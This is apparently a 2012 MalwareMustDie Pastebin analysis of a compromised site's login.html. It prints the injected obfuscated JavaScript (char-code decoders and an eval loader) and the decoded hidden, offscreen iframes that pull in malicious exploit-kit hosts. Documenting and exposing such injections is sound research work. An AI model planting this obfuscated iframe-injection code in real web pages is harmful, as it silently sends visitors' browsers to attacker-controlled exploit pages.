API tools faq
paste
Advertisement
MalwareMustDie

#MalwareMustDie - Login.html forwarder of Mistery EK

MalwareMustDie
Nov 4th, 2012
1,613
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.59 KB | None | 0 0
raw download clone embed print report
  1. ==================================================
  2. ✝#MalwareMustDie!!!!!!!!!!!!!
  3. Sun Nov 4 21:46:21 JST 2012's crusade|@unixfreaxjp
  4. ==================================================
  5.  
  6. This evilcode found in h00p://diversified.usereasy.net/login.html
  7.  
  8. as per below....
  9.  
  10.  
  11. <HTML>
  12. <HEAD>
  13. <TITLE>diversified.usereasy.net</TITLE>
  14. <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
  15. </HEAD>
  16. <body BGCOLOR="#E6E6DB" MARGINHEIGHT="0" MARGINWIDTH="0" LEFTMARGIN="0" TOPMARGIN="0" RIGHTMARGIN="0" BOTTOMMARGIN="0"><script type="text/javascript">var nfKIWAgpBTVTQUrZYMzN = "g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g114g97g109g101g62";var cHNCDgmFRKXFpiOMivBk = nfKIWAgpBTVTQUrZYMzN.split("g");var PXDfruFQHEdkMrnQXZVp = "";for (var ktvacJmKFovULyADtFTA=1; ktvacJmKFovULyADtFTA<cHNCDgmFRKXFpiOMivBk.length; ktvacJmKFovULyADtFTA++){PXDfruFQHEdkMrnQXZVp+=String.fromCharCode(cHNCDgmFRKXFpiOMivBk[ktvacJmKFovULyADtFTA]);}document.write(PXDfruFQHEdkMrnQXZVp)</script><script type="text/javascript">var vIkytowORShQVZqTBFox = "sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU47sLU105sLU102sLU114sLU97sLU109sLU101sLU62";var QWUvRMtrivbeEMdxAZLS = vIkytowORShQVZqTBFox.split("sLU");var rsiNSZhTeWRvtmrKykBh = "";for (var gdLkpohqOtIGmrTFQBZv=1; gdLkpohqOtIGmrTFQBZv<QWUvRMtrivbeEMdxAZLS.length; gdLkpohqOtIGmrTFQBZv++){rsiNSZhTeWRvtmrKykBh+=String.fromCharCode(QWUvRMtrivbeEMdxAZLS[gdLkpohqOtIGmrTFQBZv]);}document.write(rsiNSZhTeWRvtmrKykBh)</script><script type="text/javascript">var hdOruVsHnKBXZuvtsRmw = "z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z109z101z62";var kWiFaYwHrXtZBIQvdJDR = hdOruVsHnKBXZuvtsRmw.split("z");var TEptzkmsBZolwWqWunem = "";for (var KYLMhcILlLcFQRyPBlHD=1; KYLMhcILlLcFQRyPBlHD<kWiFaYwHrXtZBIQvdJDR.length; KYLMhcILlLcFQRyPBlHD++){TEptzkmsBZolwWqWunem+=String.fromCharCode(kWiFaYwHrXtZBIQvdJDR[KYLMhcILlLcFQRyPBlHD]);}document.write(TEptzkmsBZolwWqWunem)</script><script type="text/javascript">var eMCeGjolMPJFNuucZWLk = "jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc102jc114jc97jc109jc101jc62";var VarLlMnCAppeCrJJayvn = eMCeGjolMPJFNuucZWLk.split("jc");var OEtbynEYKPJgqArbMfdN = "";for (var VTsXKBglzcYNgRpfFtDP=1; VTsXKBglzcYNgRpfFtDP<VarLlMnCAppeCrJJayvn.length; VTsXKBglzcYNgRpfFtDP++){OEtbynEYKPJgqArbMfdN+=String.fromCharCode(VarLlMnCAppeCrJJayvn[VTsXKBglzcYNgRpfFtDP]);}document.write(OEtbynEYKPJgqArbMfdN)</script><script language=JavaScript>function qihb2b13(n){ var d=n.length,w=1024,k,v,l,f=0,e=0,g=0,m=Array(63,56,53,37,46,0,38,32,47,15,0,0,0,0,0,0,48,40,27,19,2,18,16,14,17,33,31,57,50,9,30,62,34,4,5,1,11,55,61,12,13,23,43,0,0,0,0,35,0,60,59,8,45,6,21,24,22,49,7,51,42,10,26,58,44,29,41,20,25,52,28,54,36,39,3);for(v=Math.ceil(d/w);v>0;v--){l=\'\';for(k=Math.min(d,w);k>0;k--,d--){{g|=(m[n.charCodeAt(f++)-48])<<e;if(e){l+=String.fromCharCode(252^g&255);g>>=8;e-=2}else{e=6}}}eval(l);}}qihb2b13(\'ThrxgGKPE0cPqPgP9eaw1Grxt4VigGKyMet6EPAuTog3c6M2Bzv3nogyH6MUEwtxtepLJwt6TkV_GOt@NCMPcLAiC9XiqPM6fPg3Cmrufmr6CGXPC9awYjBycEruGGtPEPM2iwMPsmd_qmM6CeM2fBdk9ypkWYV2BZayq6KLBJVwNkVPfPMPsepkcyWUs6t3BEMPSYpLv0cPRDt6SbX6fOc_FwtIeTKxE6rUDzauflr_qet6D8q2\') </script><!-- diversified.usereasy.net --><script language=JavaScript> function xmznbn51(b) { var
  17.  
  18. ======================================================
  19. Cracked to be forwarded to more malicius url below
  20. ========================================================
  21.  
  22. <iframe width="480" height="60" src="http://best-med-shop.com/in.cgi?3&parameter=best-med-shop"
  23. style=
  24. "border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Micr
  25. osoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
  26.  
  27.  
  28. <iframe width="480" height="60" src="http://molo.tw/index.php" style=
  29. "border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Micr
  30. osoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
  31.  
  32.  
  33. <iframe width="480" height="60" src="http://rnw.kz/index.php" style=
  34. "border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Micr
  35. osoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
  36.  
  37.  
  38. <iframe width="480" height="60" src="http://you-found-it.org/index.php" style=
  39. "border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Micr
  40. osoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
  41.  
  42.  
  43. <script src=
  44. "http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi?callback=_google_json_callback&ou
  45. tput=js&client=ca-dp-namedrive00-uuid_3ph_js&domain_name=best-med-shop.com&hl=en&channel=080001&s=be
  46. st-med-shop.com&num_radlinks=21&dt=1352033061773&u_tz=-480&u_his=2&u_h=768&u_w=1024&frm=0"></script>
  47.  
  48.  
  49. <script src=
  50. "http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi?callback=_google_json_callback&ou
  51. tput=js&client=ca-dp-namedrive00-uuid_3ph_js&domain_name=best-med-shop.com&hl=en&channel=080001&s=be
  52. st-med-shop.com&num_radlinks=21&dt=1352033064405&u_tz=-480&u_his=3&u_h=768&u_w=1024&frm=0"></script>
  53.  
  54. ----
  55.  
  56. ==================================================
  57. #MalwareMustDie ✝ Heil Crusaders!
  58. ==================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!